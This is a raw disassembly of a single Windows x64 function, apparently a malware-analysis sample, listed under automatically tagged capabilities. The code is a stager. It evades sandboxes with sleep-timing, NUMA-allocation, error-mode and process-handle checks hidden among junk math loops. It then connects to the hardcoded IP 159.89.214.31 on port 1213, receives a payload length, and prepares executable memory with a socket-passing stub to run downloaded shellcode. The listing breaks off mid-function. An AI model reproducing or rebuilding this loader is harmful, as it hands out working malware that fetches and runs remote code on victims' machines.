Function at 0x401550
Capabilities:
Act as tcp client
Allocate or change rwx memory
Connect socket
Connect tcp socket
Connect udp socket
Create tcp socket
Create udp socket
Execute shellcode via indirect call
Initialize winsock library
Link many functions at runtime
Receive data
Receive data on socket
Resolve dns

Disassembly:
push rbp
push rbx
sub rsp, 0x4a8
lea rbp, [rsp + 0x80]
movaps xmmword [rbp + 0x410], xmm6
mov dword [rbp + 0x440], ecx
mov qword [rbp + 0x448], rdx
call fcn.004032c0
mov dword [rbp + 0x40c], 0
jmp 0x4015b6
call sub.msvcrt.dll_rand
shl eax, 3
cvtsi2sd xmm0, eax
movsd xmm1, qword [0x00407098]
divsd xmm0, xmm1
call fcn.00404920
movq rax, xmm0
mov qword [rbp + 0x348], rax
add dword [rbp + 0x40c], 1
cmp dword [rbp + 0x40c], 0x431887
jle 0x401586
mov ecx, 0x4acd004
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x340], rax
mov dword [rbp + 0x404], 0
mov dword [rbp + 0x400], 0
mov dword [rbp + 0x408], 0
jmp 0x401640
call sub.msvcrt.dll_rand
mov ecx, eax
mov eax, dword [rbp + 0x408]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x340]
lea r8, [rdx + rax]
mov edx, 0xea0ea0eb
mov eax, ecx
imul edx
lea eax, [rdx + rcx]
sar eax, 5
mov edx, eax
mov eax, ecx
sar eax, 0x1f
sub edx, eax
mov eax, edx
imul eax, eax, 0x23
sub ecx, eax
mov eax, ecx
mov dword [r8], eax
add dword [rbp + 0x408], 1
cmp dword [rbp + 0x408], 0x12b3400
jle 0x4015f3
mov dword [rbp + 0x408], 0
jmp 0x401681
mov eax, dword [rbp + 0x408]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x340]
add rax, rdx
mov eax, dword [rax]
add dword [rbp + 0x404], eax
add dword [rbp + 0x408], 1
cmp dword [rbp + 0x408], 0x12b3400
jle 0x401658
mov dword [rbp + 0x408], 0
jmp 0x4016ef
cvtsi2sd xmm6, dword [rbp + 0x400]
mov eax, dword [rbp + 0x408]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x340]
add rax, rdx
mov eax, dword [rax]
cvtsi2ss xmm0, eax
subss xmm0, dword [rbp + 0x33c]
cvtss2sd xmm0, xmm0
movsd xmm1, qword [0x004070a0]
call fcn.00404de0
addsd xmm0, xmm6
cvttsd2si eax, xmm0
mov dword [rbp + 0x400], eax
add dword [rbp + 0x408], 1
cmp dword [rbp + 0x408], 0x12b3400
jle 0x401699
cvtsi2ss xmm0, dword [rbp + 0x400]
movss xmm1, dword [0x004070a8]
divss xmm0, xmm1
movss dword [rbp + 0x338], xmm0
cvtss2sd xmm0, dword [rbp + 0x338]
call fcn.00404700
cvtsd2ss xmm3, xmm0
movss dword [rbp + 0x334], xmm3
mov rax, qword [rbp + 0x340]
mov rcx, rax
call sub.msvcrt.dll_free
lea rcx, str.kernel32.dll
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
lea rdx, str.OpenProcess
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x328], rax
mov rax, qword [rbp + 0x328]
mov r8d, 4
mov edx, 0
mov ecx, 0x1f0fff
call rax
mov qword [rbp + 0x320], rax
cmp qword [rbp + 0x320], 0
jne 0x403115
mov qword [rbp + 0x318], 0
lea rcx, str.kernel32.dll
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
lea rdx, str.VirtualAllocExNuma
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x310], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x40
mov rax, qword [rbp + 0x310]
mov r9d, 0x3000
mov r8d, 0x393
mov edx, 0
call rax
mov qword [rbp + 0x318], rax
cmp qword [rbp + 0x318], 0
je 0x402fe0
mov dword [rbp + 0x30c], 0x1fa
lea rcx, str.kernel32.dll
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
lea rdx, str.SleepEx
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x300], rax
lea rcx, str.kernel32.dll
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
lea rdx, str.GetTickCount
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x2f8], rax
mov rax, qword [rbp + 0x2f8]
call rax
mov dword [rbp + 0x2f4], eax
mov ecx, dword [rbp + 0x30c]
mov rax, qword [rbp + 0x300]
mov edx, 0
call rax
mov rax, qword [rbp + 0x2f8]
call rax
mov dword [rbp + 0x2f0], eax
mov eax, dword [rbp + 0x2f0]
sub eax, dword [rbp + 0x2f4]
cmp eax, 0x1c8
jbe 0x402f90
mov ecx, 0x21058f0
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x2e8], rax
mov dword [rbp + 0x3fc], 0
jmp 0x401915
call sub.msvcrt.dll_rand
cvtsi2sd xmm0, eax
mov eax, dword [rbp + 0x3fc]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x2e8]
add rax, rdx
movsd xmm1, qword [0x00407098]
divsd xmm0, xmm1
movsd qword [rax], xmm0
add dword [rbp + 0x3fc], 1
cmp dword [rbp + 0x3fc], 0x420b1d
jle 0x4018db
mov dword [rbp + 0x3fc], 0
jmp 0x40197a
mov eax, dword [rbp + 0x3fc]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x2e8]
add rax, rdx
movsd xmm0, qword [rax]
mov eax, dword [rbp + 0x3fc]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x2e8]
lea rbx, [rdx + rax]
call sub.msvcrt.dll_atan
movq rax, xmm0
mov qword [rbx], rax
add dword [rbp + 0x3fc], 1
cmp dword [rbp + 0x3fc], 0x420b1d
jle 0x40192d
lea rcx, str.kernel32.dll
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
lea rdx, str.GetTickCount
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x2e0], rax
mov rax, qword [rbp + 0x2e0]
call rax
mov dword [rbp + 0x2dc], eax
mov ecx, 0x3a3
mov rax, qword [sym.imp.KERNEL32.dll_Sleep]
call rax
mov rax, qword [rbp + 0x2e0]
call rax
mov dword [rbp + 0x2d8], eax
mov eax, dword [rbp + 0x2d8]
sub eax, dword [rbp + 0x2dc]
cmp eax, 0x371
jbe 0x402e62
mov ecx, 0x60f
mov rax, qword [sym.imp.KERNEL32.dll_SetErrorMode]
call rax
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_SetErrorMode]
call rax
cmp eax, 0x60f
jne 0x4031b3
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_SetErrorMode]
call rax
mov dword [rbp + 0x3f8], 0xffffffff
mov ecx, 0x1f3c628
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x2d0], rax
add dword [rbp + 0x3f8], 1
call sub.msvcrt.dll_rand
cvtsi2sd xmm0, eax
movsd xmm1, qword [0x00407098]
divsd xmm0, xmm1
addsd xmm0, xmm0
mov eax, dword [rbp + 0x3f8]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x2d0]
add rax, rdx
movsd xmm1, qword [0x004070b0]
subsd xmm0, xmm1
movsd qword [rax], xmm0
mov eax, dword [rbp + 0x3f8]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x2d0]
add rax, rdx
movsd xmm0, qword [rax]
mov eax, dword [rbp + 0x3f8]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x2d0]
add rax, rdx
movq xmm1, qword [0x004070c0]
andpd xmm0, xmm1
movsd qword [rax], xmm0
cmp dword [rbp + 0x3f8], 0x3e78c3
jle 0x401a43
mov qword [rbp + 0x2c8], 0
lea rcx, str.kernel32.dll
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
lea rdx, str.VirtualAlloc
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x2c0], rax
mov rax, qword [rbp + 0x2c0]
mov r9d, 0x40
mov r8d, 0x3000
mov edx, 0x30dd680
mov ecx, 0
call rax
mov qword [rbp + 0x2c8], rax
cmp qword [rbp + 0x2c8], 0
je 0x4031b3
mov rax, qword [rbp + 0x2c8]
mov edx, 0x30dd680
mov rcx, rax
call fcn.00405980
mov rax, qword [rbp + 0x2c8]
mov r8d, 0x8000
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualFree]
call rax
lea rcx, str.kernel32.dll
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
lea rdx, str.GetTickCount
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x2b8], rax
mov rax, qword [rbp + 0x2b8]
call rax
mov dword [rbp + 0x2b4], eax
mov ecx, 0x3c7
mov rax, qword [sym.imp.KERNEL32.dll_Sleep]
call rax
mov rax, qword [rbp + 0x2b8]
call rax
mov dword [rbp + 0x2b0], eax
mov eax, dword [rbp + 0x2b0]
sub eax, dword [rbp + 0x2b4]
cmp eax, 0x395
jbe 0x4031b3
mov ecx, 0x57a
mov rax, qword [sym.imp.KERNEL32.dll_SetErrorMode]
call rax
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_SetErrorMode]
call rax
cmp eax, 0x57a
jne 0x4031b3
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_SetErrorMode]
call rax
lea rcx, str.kernel32.dll
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
lea rdx, str.OpenProcess
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x2a8], rax
mov rax, qword [rbp + 0x2a8]
mov r8d, 4
mov edx, 0
mov ecx, 0x1f0fff
call rax
mov qword [rbp + 0x2a0], rax
cmp qword [rbp + 0x2a0], 0
jne 0x4031b3
mov dword [rbp + 0x3f0], 0
mov dword [rbp + 0x29c], 0
mov ecx, 0x114bbd1c
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x290], rax
mov dword [rbp + 0x3f4], 0
jmp 0x401d20
call sub.msvcrt.dll_rand
mov ecx, eax
mov eax, dword [rbp + 0x3f4]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x290]
lea r8, [rdx + rax]
mov edx, 0x51eb851f
mov eax, ecx
imul edx
sar edx, 3
mov eax, ecx
sar eax, 0x1f
sub edx, eax
mov eax, edx
shl eax, 2
add eax, edx
lea edx, [rax*4]
add eax, edx
sub ecx, eax
mov edx, ecx
mov dword [r8], edx
mov eax, dword [rbp + 0x3f4]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x290]
add rax, rdx
mov eax, dword [rax]
add dword [rbp + 0x3f0], eax
add dword [rbp + 0x3f4], 1
cmp dword [rbp + 0x3f4], 0x452ef46
jle 0x401cab
mov rax, qword [rbp + 0x290]
mov rcx, rax
call sub.msvcrt.dll_free
mov word [rbp + 0x28e], 0x202
movzx eax, word [rbp + 0x28e]
lea rdx, [rbp - 0x50]
mov ecx, eax
mov rax, qword [sym.imp.WS2_32.dll_WSAStartup]
call rax
test eax, eax
jns 0x401eb8
mov ecx, 0x15ed85b8
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x280], rax
mov dword [rbp + 0x3ec], 0
mov dword [rbp + 0x27c], 1
mov dword [rbp + 0x3e8], 0
jmp 0x401e07
mov dword [rbp + 0x3e4], 0
jmp 0x401df4
call sub.msvcrt.dll_rand
mov ecx, eax
mov eax, dword [rbp + 0x3e8]
cdqe
imul rdx, rax, 0xaeb8
mov rax, qword [rbp + 0x280]
lea r8, [rdx + rax]
mov edx, 0x51eb851f
mov eax, ecx
imul edx
sar edx, 5
mov eax, ecx
sar eax, 0x1f
sub edx, eax
mov eax, edx
imul eax, eax, 0x64
sub ecx, eax
mov eax, ecx
mov edx, dword [rbp + 0x3e4]
movsxd rdx, edx
mov dword [r8 + rdx*4], eax
add dword [rbp + 0x3e4], 1
cmp dword [rbp + 0x3e4], 0x2bad
jle 0x401da3
add dword [rbp + 0x3e8], 1
cmp dword [rbp + 0x3e8], 0x2020
jle 0x401d97
mov dword [rbp + 0x3e8], 0
jmp 0x401e74
mov dword [rbp + 0x3e4], 0
jmp 0x401e61
mov eax, dword [rbp + 0x3e8]
cdqe
imul rdx, rax, 0xaeb8
mov rax, qword [rbp + 0x280]
add rdx, rax
mov eax, dword [rbp + 0x3e4]
cdqe
mov eax, dword [rdx + rax*4]
test eax, eax
jne 0x401e5a
add dword [rbp + 0x3ec], 1
add dword [rbp + 0x3e4], 1
cmp dword [rbp + 0x3e4], 0x2bad
jle 0x401e2b
add dword [rbp + 0x3e8], 1
cmp dword [rbp + 0x3e8], 0x2020
jle 0x401e1f
cmp dword [rbp + 0x3ec], 0x2bdb0b7
je 0x401e96
mov dword [rbp + 0x27c], 0
mov rax, qword [rbp + 0x280]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [sym.imp.WS2_32.dll_WSACleanup]
call rax
mov ecx, 1
call sub.msvcrt.dll_exit
mov r8d, 0
mov edx, 1
mov ecx, 2
mov rax, qword [sym.imp.WS2_32.dll_socket]
call rax
mov qword [rbp + 0x148], rax
mov rax, qword [rbp + 0x148]
cmp rax, 0xffffffffffffffff
jne 0x402005
mov dword [rbp + 0x3e0], 0x1f834e
mov dword [rbp + 0x3dc], 0x1638ca
mov dword [rbp + 0x3d8], 0x5aa4ba
mov dword [rbp + 0x3d4], 0x3c1644
jmp 0x401fd2
mov eax, dword [rbp + 0x3d8]
cmp eax, dword [rbp + 0x3d4]
jle 0x401f72
mov eax, dword [rbp + 0x3d8]
cmp eax, dword [rbp + 0x3e0]
jle 0x401f52
mov eax, dword [rbp + 0x3d8]
cmp eax, dword [rbp + 0x3dc]
jle 0x401f49
sub dword [rbp + 0x3d8], 1
jmp 0x401fbe
sub dword [rbp + 0x3dc], 1
jmp 0x401fbe
mov eax, dword [rbp + 0x3e0]
cmp eax, dword [rbp + 0x3dc]
jle 0x401f69
sub dword [rbp + 0x3e0], 1
jmp 0x401fbe
sub dword [rbp + 0x3dc], 1
jmp 0x401fbe
mov eax, dword [rbp + 0x3d4]
cmp eax, dword [rbp + 0x3e0]
jle 0x401fa0
mov eax, dword [rbp + 0x3d4]
cmp eax, dword [rbp + 0x3dc]
jle 0x401f97
sub dword [rbp + 0x3d4], 1
jmp 0x401fbe
sub dword [rbp + 0x3dc], 1
jmp 0x401fbe
mov eax, dword [rbp + 0x3e0]
cmp eax, dword [rbp + 0x3dc]
jle 0x401fb7
sub dword [rbp + 0x3e0], 1
jmp 0x401fbe
sub dword [rbp + 0x3dc], 1
mov eax, dword [rbp + 0x3d8]
mov edx, eax
lea rcx, [0x0040704e]
call sub.msvcrt.dll_printf
cmp dword [rbp + 0x3d8], 0
jg 0x401f16
mov rax, qword [rbp + 0x148]
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_closesocket]
call rax
mov rax, qword [sym.imp.WS2_32.dll_WSACleanup]
call rax
mov ecx, 1
call sub.msvcrt.dll_exit
mov dword [rbp + 0x3d0], 0x661cd138
jmp 0x402018
sub dword [rbp + 0x3d0], 1
cmp dword [rbp + 0x3d0], 0
jg 0x402011
lea rcx, str.159.89.214.31
mov rax, qword [sym.imp.WS2_32.dll_gethostbyname]
call rax
mov qword [rbp + 0x270], rax
cmp qword [rbp + 0x270], 0
jne 0x4020bd
movsd xmm0, qword [0x004070d0]
movsd qword [rbp + 0x3c8], xmm0
movsd xmm0, qword [0x004070d8]
movsd qword [rbp + 0x268], xmm0
jmp 0x402085
movsd xmm1, qword [rbp + 0x268]
movsd xmm0, qword [rbp + 0x3c8]
call fcn.00404de0
movq rax, xmm0
mov qword [rbp + 0x3c8], rax
movsd xmm0, qword [0x004070e0]
comisd xmm0, xmmword [rbp + 0x3c8]
ja 0x402064
mov rax, qword [rbp + 0x148]
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_closesocket]
call rax
mov rax, qword [sym.imp.WS2_32.dll_WSACleanup]
call rax
mov ecx, 1
call sub.msvcrt.dll_exit
mov rax, qword [rbp + 0x270]
movzx eax, word [rax + 0x12]
movsx rdx, ax
mov rax, qword [rbp + 0x270]
mov rax, qword [rax + 0x18]
mov rax, qword [rax]
lea rcx, [rbp + 0x150]
add rcx, 4
mov r8, rdx
mov rdx, rax
call sub.msvcrt.dll_memcpy
mov word [rbp + 0x150], 2
mov ecx, 0x29b6c70
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x260], rax
mov dword [rbp + 0x3c4], 0
jmp 0x402150
call sub.msvcrt.dll_rand
cvtsi2sd xmm0, eax
mov eax, dword [rbp + 0x3c4]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x260]
add rax, rdx
movsd xmm1, qword [0x00407098]
divsd xmm0, xmm1
movsd qword [rax], xmm0
add dword [rbp + 0x3c4], 1
cmp dword [rbp + 0x3c4], 0x536d8d
jle 0x402116
mov dword [rbp + 0x3c4], 0
jmp 0x4021dc
call sub.msvcrt.dll_rand
mov ecx, eax
mov edx, 0x51eb851f
mov eax, ecx
imul edx
sar edx, 5
mov eax, ecx
sar eax, 0x1f
sub edx, eax
mov eax, edx
imul eax, eax, 0x64
sub ecx, eax
mov eax, ecx
cvtsi2sd xmm1, eax
mov eax, dword [rbp + 0x3c4]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x260]
add rax, rdx
movsd xmm0, qword [rax]
mov eax, dword [rbp + 0x3c4]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x260]
lea rbx, [rdx + rax]
call fcn.00404af0
movq rax, xmm0
mov qword [rbx], rax
add dword [rbp + 0x3c4], 1
cmp dword [rbp + 0x3c4], 0x536d8d
jle 0x402168
mov ecx, 0x4bd
mov rax, qword [sym.imp.WS2_32.dll_htons]
call rax
mov word [rbp + 0x152], ax
mov rax, qword [rbp + 0x148]
lea rdx, [rbp + 0x150]
mov r8d, 0x10
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_connect]
call rax
test eax, eax
je 0x40235a
mov dword [rbp + 0x25c], 0
mov dword [rbp + 0x3b8], 0
mov ecx, 0x16bff6c0
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x250], rax
mov dword [rbp + 0x3c0], 0
jmp 0x4022ff
mov dword [rbp + 0x3bc], 0
jmp 0x4022e8
call sub.msvcrt.dll_rand
mov ecx, eax
mov eax, dword [rbp + 0x3c0]
cdqe
imul rdx, rax, 0x8e28
mov rax, qword [rbp + 0x250]
lea r8, [rdx + rax]
mov edx, 0x51eb851f
mov eax, ecx
imul edx
sar edx, 5
mov eax, ecx
sar eax, 0x1f
sub edx, eax
mov eax, edx
imul eax, eax, 0x64
sub ecx, eax
mov eax, ecx
mov edx, dword [rbp + 0x3bc]
movsxd rdx, edx
mov dword [r8 + rdx*4], eax
mov eax, dword [rbp + 0x3c0]
cdqe
imul rdx, rax, 0x8e28
mov rax, qword [rbp + 0x250]
add rdx, rax
mov eax, dword [rbp + 0x3bc]
cdqe
mov eax, dword [rdx + rax*4]
test eax, eax
jne 0x4022e1
add dword [rbp + 0x3b8], 1
add dword [rbp + 0x3bc], 1
cmp dword [rbp + 0x3bc], 0x2389
jle 0x402268
add dword [rbp + 0x3c0], 1
cmp dword [rbp + 0x3c0], 0x28f7
jle 0x402259
cmp dword [rbp + 0x3b8], 0x2d7fed8
jne 0x402325
mov dword [rbp + 0x25c], 1
mov rax, qword [rbp + 0x250]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x148]
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_closesocket]
call rax
mov rax, qword [sym.imp.WS2_32.dll_WSACleanup]
call rax
mov ecx, 1
call sub.msvcrt.dll_exit
mov ecx, 0xa673440
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x248], rax
mov ecx, 0xa673440
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x240], rax
mov ecx, 0xa673440
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x238], rax
mov ecx, 0xa673440
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x230], rax
mov dword [rbp + 0x3b0], 0x299cd0f
mov dword [rbp + 0x3b4], 0
jmp 0x402446
call sub.msvcrt.dll_rand
mov ecx, eax
mov eax, dword [rbp + 0x3b4]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x248]
lea r8, [rdx + rax]
mov edx, 0x1b4e81b5
mov eax, ecx
imul edx
sar edx, 5
mov eax, ecx
sar eax, 0x1f
sub edx, eax
mov eax, edx
imul eax, eax, 0x12c
sub ecx, eax
mov eax, ecx
mov dword [r8], eax
call sub.msvcrt.dll_rand
mov ecx, eax
mov eax, dword [rbp + 0x3b4]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x240]
lea r8, [rdx + rax]
mov edx, 0x1b4e81b5
mov eax, ecx
imul edx
sar edx, 5
mov eax, ecx
sar eax, 0x1f
sub edx, eax
mov eax, edx
imul eax, eax, 0x12c
sub ecx, eax
mov eax, ecx
mov dword [r8], eax
add dword [rbp + 0x3b4], 1
cmp dword [rbp + 0x3b4], 0x299cd0f
jle 0x4023b7
mov dword [rbp + 0x3b4], 0
jmp 0x4024e5
mov eax, dword [rbp + 0x3b0]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x248]
add rax, rdx
mov edx, dword [rbp + 0x3b4]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x238]
add rdx, rcx
mov eax, dword [rax]
mov dword [rdx], eax
mov eax, dword [rbp + 0x3b0]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x240]
add rax, rdx
mov edx, dword [rbp + 0x3b4]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x230]
add rdx, rcx
mov eax, dword [rax]
mov dword [rdx], eax
sub dword [rbp + 0x3b0], 1
add dword [rbp + 0x3b4], 1
cmp dword [rbp + 0x3b4], 0x299cd0f
jle 0x402465
mov rax, qword [rbp + 0x248]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x240]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x238]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x230]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x148]
lea rdx, [rbp + 0x160]
mov r9d, 0
mov r8d, 4
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_recv]
call rax
cdqe
mov qword [rbp + 0x228], rax
cmp qword [rbp + 0x228], 4
jne 0x40257a
mov rax, qword [rbp + 0x160]
test rax, rax
jne 0x4026d0
mov dword [rbp + 0x3a4], 0
mov ecx, 0x13ec59a0
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x190], rax
mov dword [rbp + 0x3ac], 0
jmp 0x402615
mov dword [rbp + 0x3a8], 0
jmp 0x402602
call sub.msvcrt.dll_rand
mov ecx, eax
mov edx, 0x51eb851f
mov eax, ecx
imul edx
sar edx, 5
mov eax, ecx
sar eax, 0x1f
sub edx, eax
mov eax, edx
imul eax, eax, 0x64
sub ecx, eax
mov eax, ecx
mov edx, dword [rbp + 0x3ac]
movsxd rdx, edx
imul rcx, rdx, 0x9120
mov rdx, qword [rbp + 0x190]
add rdx, rcx
cvtsi2ss xmm0, eax
mov eax, dword [rbp + 0x3a8]
cdqe
movss dword [rdx + rax*4], xmm0
add dword [rbp + 0x3a8], 1
cmp dword [rbp + 0x3a8], 0x2447
jle 0x4025ad
add dword [rbp + 0x3ac], 1
cmp dword [rbp + 0x3ac], 0x2324
jle 0x4025a1
mov dword [rbp + 0x3ac], 0
jmp 0x40268f
mov dword [rbp + 0x3a8], 0
jmp 0x40267c
cvtsi2ss xmm1, dword [rbp + 0x3a4]
mov eax, dword [rbp + 0x3ac]
cdqe
imul rdx, rax, 0x9120
mov rax, qword [rbp + 0x190]
add rdx, rax
mov eax, dword [rbp + 0x3a8]
cdqe
movss xmm0, dword [rdx + rax*4]
addss xmm0, xmm1
cvttss2si eax, xmm0
mov dword [rbp + 0x3a4], eax
add dword [rbp + 0x3a8], 1
cmp dword [rbp + 0x3a8], 0x2447
jle 0x402639
add dword [rbp + 0x3ac], 1
cmp dword [rbp + 0x3ac], 0x2324
jle 0x40262d
mov rax, qword [rbp + 0x190]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x148]
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_closesocket]
call rax
mov rax, qword [sym.imp.WS2_32.dll_WSACleanup]
call rax
mov ecx, 1
call sub.msvcrt.dll_exit
lea rcx, str.kernel32.dll
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
lea rdx, str.HeapCreate
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x220], rax
mov rax, qword [rbp + 0x160]
lea rdx, [rax + 0xa]
mov rax, qword [rbp + 0x220]
mov r8d, 0
mov ecx, 0x40000
call rax
mov qword [rbp + 0x218], rax
lea rcx, str.kernel32.dll
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
lea rdx, str.HeapAlloc
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x210], rax
mov rax, qword [rbp + 0x160]
lea rdx, [rax + 0xa]
mov rcx, qword [rbp + 0x218]
mov rax, qword [rbp + 0x210]
mov r8, rdx
mov edx, 8
call rax
mov qword [rbp + 0x208], rax
cmp qword [rbp + 0x208], 0
jne 0x40282f
mov dword [rbp + 0x3a0], 0
jmp 0x4027fd
call sub.msvcrt.dll_rand
mov ecx, eax
mov edx, 0xb21642c9
mov eax, ecx
imul edx
lea eax, [rdx + rcx]
sar eax, 4
mov edx, eax
mov eax, ecx
sar eax, 0x1f
sub edx, eax
mov eax, edx
mov dword [rbp + 0x204], eax
mov eax, dword [rbp + 0x204]
imul eax, eax, 0x17
sub ecx, eax
mov eax, ecx
mov dword [rbp + 0x204], eax
call sub.msvcrt.dll_rand
cvtsi2sd xmm0, eax
movsd xmm1, qword [0x00407098]
divsd xmm0, xmm1
mov eax, dword [rbp + 0x204]
mov edx, eax
call fcn.00404b30
movq rax, xmm0
mov qword [rbp + 0x1f8], rax
add dword [rbp + 0x3a0], 1
cmp dword [rbp + 0x3a0], 0x5a72d9
jle 0x40278e
mov rax, qword [rbp + 0x148]
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_closesocket]
call rax
mov rax, qword [sym.imp.WS2_32.dll_WSACleanup]
call rax
mov ecx, 1
call sub.msvcrt.dll_exit
mov dword [rbp + 0x39c], 0xffffffff
mov ecx, 0x332f120
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x1f0], rax
add dword [rbp + 0x39c], 1
call sub.msvcrt.dll_rand
cvtsi2sd xmm0, eax
mov eax, dword [rbp + 0x39c]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x1f0]
add rax, rdx
movsd xmm1, qword [0x00407098]
divsd xmm0, xmm1
movsd qword [rax], xmm0
mov eax, dword [rbp + 0x39c]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x1f0]
add rax, rdx
movsd xmm0, qword [rax]
mov eax, dword [rbp + 0x39c]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x1f0]
lea rbx, [rdx + rax]
call sub.msvcrt.dll_atan
movq rax, xmm0
mov qword [rbx], rax
cmp dword [rbp + 0x39c], 0x665e22
jle 0x40284a
mov rax, qword [rbp + 0x208]
mov byte [rax], 0x48
mov rax, qword [rbp + 0x208]
add rax, 1
mov byte [rax], 0xbf
mov rax, qword [rbp + 0x208]
lea rdx, [rax + 2]
mov eax, dword [rbp + 0x148]
mov dword [rdx], eax
mov ecx, 0x17c40614
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x1e8], rax
mov ecx, 0x17c40614
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x1e0], rax
mov dword [rbp + 0x394], 0x5f10184
mov dword [rbp + 0x398], 0
jmp 0x4029cb
call sub.msvcrt.dll_rand
mov ecx, eax
mov eax, dword [rbp + 0x398]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x1e8]
lea r8, [rdx + rax]
mov edx, 0x1b4e81b5
mov eax, ecx
imul edx
sar edx, 5
mov eax, ecx
sar eax, 0x1f
sub edx, eax
mov eax, edx
imul eax, eax, 0x12c
sub ecx, eax
mov eax, ecx
mov dword [r8], eax
mov eax, dword [rbp + 0x394]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x1e8]
add rax, rdx
mov edx, dword [rbp + 0x398]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x1e0]
add rdx, rcx
mov eax, dword [rax]
mov dword [rdx], eax
sub dword [rbp + 0x394], 1
add dword [rbp + 0x398], 1
cmp dword [rbp + 0x398], 0x5f10184
jle 0x402940
mov rax, qword [rbp + 0x1e8]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x1e0]
mov rcx, rax
call sub.msvcrt.dll_free
